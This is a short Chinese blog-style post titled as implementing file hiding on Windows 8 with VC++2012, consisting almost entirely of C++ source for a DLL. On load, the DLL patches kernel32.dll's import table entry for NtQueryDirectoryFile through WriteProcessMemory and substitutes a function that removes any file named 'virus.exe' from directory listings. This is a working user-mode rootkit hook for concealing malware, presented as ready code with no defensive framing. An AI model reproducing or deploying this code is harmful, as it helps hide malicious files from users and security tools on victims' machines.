基于VC++2012在Windows8下实现文件隐藏

基于VC++2012在Windows8上实现文件隐藏



请见代码分析,


#include <windows.h>
#include <WinNT.h>


//从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到

typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
//参数类型
typedef struct _IO_STATUS_BLOCK 
{ 
	NTSTATUS  Status; 
	ULONG    Information; 
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 
//字符串类型
typedef struct _UNICODE_STRING 
{ 
	USHORT    Length; 
	USHORT    MaximumLength; 
	PWSTR    Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; 
//枚举类型,主要利用FileBothDirectoryInformation
typedef enum _FILE_INFORMATION_CLASS {
	FileDirectoryInformation = 1,
	FileFullDirectoryInformation,
	FileBothDirectoryInformation,
	FileBasicInformation,
	FileStandardInformation,
	FileInternalInformation,
	FileEaInformation,
	FileAccessInformation,
	FileNameInformation,
	FileRenameInformation,
	FileLinkInformation,
	FileNamesInformation,
	FileDispositionInformation,
	FilePositionInformation,
	FileFullEaInformation,
	FileModeInformation,
	FileAlignmentInformation,
	FileAllInformation,
	FileAllocationInformation,
	FileEndOfFileInformation,
	FileAlternateNameInformation,
	FileStreamInformation,
	FilePipeInformation,
	FilePipeLocalInformation,
	FilePipeRemoteInformation,
	FileMailslotQueryInformation,
	FileMailslotSetInformation,
	FileCompressionInformation,
	FileObjectIdInformation,
	FileCompletionInformation,
	FileMoveClusterInformation,
	FileQuotaInformation,
	FileReparsePointInformation,
	FileNetworkOpenInformation,
	FileAttributeTagInformation,
	FileTrackingInformation,
	FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;


typedef VOID (NTAPI *PIO_APC_ROUTINE)(
						 IN PVOID ApcContext,
						 IN PIO_STATUS_BLOCK IoStatusBlock,
						 IN ULONG Reserved);

typedef struct _FILE_BOTH_DIRECTORY_INFORMATION { 
	ULONG NextEntryOffset;
	ULONG Unknown;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	LARGE_INTEGER EndOfFile;
	LARGE_INTEGER AllocationSize;
	ULONG FileAttributes;
	ULONG FileNameLength;
	ULONG EaInformationLength;
	UCHAR AlternateNameLength;
	WCHAR AlternateName[12];
	WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;




typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
													  IN  HANDLE FileHandle,
													  IN  HANDLE Event OPTIONAL,
													  IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
													  IN  PVOID ApcContext OPTIONAL,
													  OUT PIO_STATUS_BLOCK IoStatusBlock,
													  OUT PVOID FileInformation,
													  IN  ULONG Length,
													  IN  FILE_INFORMATION_CLASS FileInformationClass,
													  IN  BOOLEAN ReturnSingleEntry,
													  IN  PUNICODE_STRING FileName OPTIONAL,
													  IN  BOOLEAN RestartScan
													  );

//原始ZwQueryDirectoryFile地址
ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile = NULL;


//////////////////////////////////////////////////////////////////////////
//替换原有函数
//////////////////////////////////////////////////////////////////////////
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
	//先调用原有函数
	LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
	if (!NT_SUCCESS(rret))
	{
		return rret;
	}

	//只取了	FileBothDirectoryInformation这种可能性
	if (FileInformationClass==FileBothDirectoryInformation)
	{
		PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
		PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
		//测试的C:\\下的virus.exe的隐藏
		WCHAR VIRUS[] = L"virus.exe";
		BOOLEAN flag;
		pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation; 
		pLastFileInfo = NULL;
		do
		{
			flag = !( pFileInfo->NextEntryOffset );
			//宽字符比较,暂用WCSSTR
			if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
			{
				if(flag) 
				{
					pLastFileInfo->NextEntryOffset = 0;
					break;
				} 
				else
				{
					int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
					int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
					memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
					continue;
				}
			}
			pLastFileInfo = pFileInfo;
			pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
		}while(!flag);

	}

	return rret;
}

//////////////////////////////////////////////////////////////////////////
//Hook Function
//////////////////////////////////////////////////////////////////////////
BOOL HookQueryFile(BOOL flag)
{
	//确定Kernel32.dll的基地址
	HMODULE hModule = LoadLibrary("kernel32.dll");
	if (hModule==NULL)
	{
		return FALSE;
	}

	PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
	if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
	{
		return FALSE;
	}

	PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
	if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
	{
		return FALSE;
	}

	if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL || 
		pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
	{
		return FALSE;
	}

	PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

	PIMAGE_THUNK_DATA ThunkData;

	while (ImportDescriptor->FirstThunk)
	{
		char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
		//遍历寻找Kernel32中加载的ntdll.dll
		if (stricmp(szDll,"ntdll.dll")!=NULL)
		{
			ImportDescriptor++;
			continue;
		}

		ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);

		int num = 1;
		while (ThunkData->u1.Function)
		{
			char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
			if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
			{
				PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
				if (flag)
				{
					//Hook
					ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
					OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
					DWORD dwWrite = 0;
					WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);					
				}
				else
				{
					//UnHook
					DWORD dwWrite = 0;
					WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);	
				}

				return TRUE;
			}
			num++;
			ThunkData++;
		}
		ImportDescriptor++;
	}

	return FALSE;
}

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  dwReason,LPVOID lpReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{ 
		//HOOK ZwQueryDirectroyFile
		HookQueryFile(TRUE);
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		//UnHook ZwQueryDirectoryFile
		HookQueryFile(FALSE);
	}

	return TRUE;
}